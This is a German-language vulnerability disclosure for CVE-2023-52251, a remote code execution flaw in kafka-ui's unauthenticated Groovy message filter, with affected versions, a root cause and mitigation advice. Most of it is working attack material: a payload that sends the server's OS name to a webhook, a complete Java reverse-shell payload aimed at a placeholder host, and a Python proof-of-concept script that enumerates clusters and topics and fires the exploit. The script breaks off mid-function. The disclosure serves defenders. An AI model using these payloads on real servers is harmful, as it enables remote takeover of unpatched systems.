
CVE-2023-52251 Es gibt eine Schwachstelle zur Remote-Code-Ausführung in provectus/kafka-ui.
Es gibt eine Schwachstelle zur Remote Code Execution in provectus/kafka-ui. Zum Zeitpunkt des Schreibens gibt es keinen Patch, aber der Hersteller wurde von uns und dem Team von VINCE benachrichtigt, ohne eine Antwort zu erhalten. Der Bericht wurde am 27. September 2023 an provectus sowohl per E-Mail als auch über GitHub Security gesendet.
Wir empfehlen, die gesamte Groovy-Filterfunktion auszukommentieren und/oder mindestens eine Authentifizierung hinzuzufügen.
| Titel | Wert |
|---|---|
| CVSS-String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H |
| CVE-ID | CVE-2023-52251 |
| CVS-Beschreibung | In provectus kafka-ui 0.4.0-0.7.1 wurde eine Remote Code Execution (RCE)-Schwachstelle über den Parameter q unter /api/clusters/local/topics/{topic}/messages entdeckt |
| CVSS-Score | 9.x |
| CWE | CWE-94: Improper Control of Generation of Code ('Code Injection') |
| Anbieter | Provectus |
| Produkt | kafka-ui |
| Link | https://github.com/provectus/kafka-ui |
| Betroffene Versionen | 0.4.0-0.7.1 |
| Gepatchte Versionen | Keine |
| Mitwirkende | Thingstad, BobTheShoplifter |
Schwachstellentyp: Remote Code Execution (RCE)
Betroffene Software: Kafka-ui
Version: [0.4.0-0.7.1]
Es gibt keine Bereinigung des Groovy-Skriptfilters, bevor er ausgeführt wird. Dadurch kann ein Angreifer beliebigen Code auf dem Server ausführen.
In der Funktion groovyScriptFilter wird das „script“ vor der Ausführung nicht bereinigt.
Und es wird in der Engine per eval ausgeführt:
var result = compiledScript.eval(bindings);
Vollständige Anweisungen, einschließlich spezifischer Konfigurationsdetails, um die Schwachstelle zu reproduzieren.
Mit dem Filter:
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

Sendet eine Anfrage an den Webhook mit dem Betriebssystemnamen des Servers.

Darauf aufbauend können wir den folgenden Payload verwenden, um eine Reverse Shell zu erhalten:
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Der Payload lässt sich einfach auf https://www.revshells.com/ erzeugen.

Außerdem wurde ein PoC in Python erstellt:
from time import sleep
import requests
import json
import urllib
import argparse
url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"
def get_clusters():
global clusters
clusterfetch = requests.get(url + '/api/clusters')
clusters = clusterfetch.json()
def get_topics(cluster):
topicfetch = requests.get(
url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
topics = topicfetch.json()['topics']
return topics
def get_webhooks():
webhookfetch = requests.post('https://webhook.site/token')
webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
print('URL Created: ' + webhook)
token_id = webhookfetch.json()['uuid']
headers = {"api-key": webhookfetch.json()['uuid']}
return webhook, token_id, headers
def Exploit():
try:
get_clusters()
cluster = clusters[0]['name']
topics = get_topics(cluster)
topic = topics[0]['name']
webhook, token_id, headers = get_webhooks()
checkpayload = 'new URL("'+webhook+'").text'
rcepayload = 'String host="' + c2 + \
'";int port='+port + \
';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
payload = rcepayload if mode == "rce" else checkpayload
r = requests.get(
url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
print(r.text)
r = requests.get('https://webhook.site/token/' + token_id +
'/requests?sorting=newest', headers=headers)